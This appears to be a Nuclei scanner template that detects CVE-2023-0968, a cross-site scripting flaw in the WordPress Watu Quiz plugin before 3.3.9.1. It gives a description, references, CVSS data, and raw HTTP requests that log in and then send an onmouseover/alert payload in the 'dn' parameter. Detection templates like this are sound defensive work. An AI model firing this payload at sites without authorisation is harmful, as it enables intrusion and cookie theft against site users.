id: CVE-2023-0968 info: name: WordPress Watu Quiz <3.3.9.1 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | WordPress Watu Quiz plugin before 3.3.9.1 is susceptible to cross-site scripting. The plugin does not sanitize and escape some parameters, such as email, dn, date, and points, before outputting then back in a page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This exploit can be used against high-privilege users such as admin. impact: | Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts on the victim's browser. remediation: Fixed in version 3.3.9.1. reference: - https://wpscan.com/vulnerability/29008d1a-62b3-4f40-b5a3-134455b01595 - https://wordpress.org/plugins/watu/ - https://plugins.trac.wordpress.org/browser/watu/trunk/views/takings.php#L31 - https://nvd.nist.gov/vuln/detail/CVE-2023-0968 - https://www.wordfence.com/threat-intel/vulnerabilities/id/6341bdcc-c99f-40c3-81c4-ad90ff19f802 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-0968 cwe-id: CWE-79 epss-score: 0.00229 epss-percentile: 0.61047 cpe: cpe:2.3:a:kibokolabs:watu_quiz:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: kibokolabs product: watu_quiz framework: wordpress tags: wordpress,cve,cve2023,wp,wp-plugin,xss,watu,authenticated,wpscan,kibokolabs http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=watu_takings&exam_id=1&dn="%2Fonmouseover%3Dalert(document.domain)%2F%2F HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(header_2, "text/html")' - 'contains(body_2, "/onmouseover=alert(document.domain)//")' - 'contains(body_2, "Watu Quizzes")' condition: and # digest: 4b0a004830460221008a78f03ae3dcfe280039accff4adeaf27031964d307d598a1ab631604332d8a9022100a8a5637fbc5e9d69bc6b06d7d295b9fb6fe62c902d148ec2755cd27ccb64448a:922c64590222798bb761d5b6d8e72950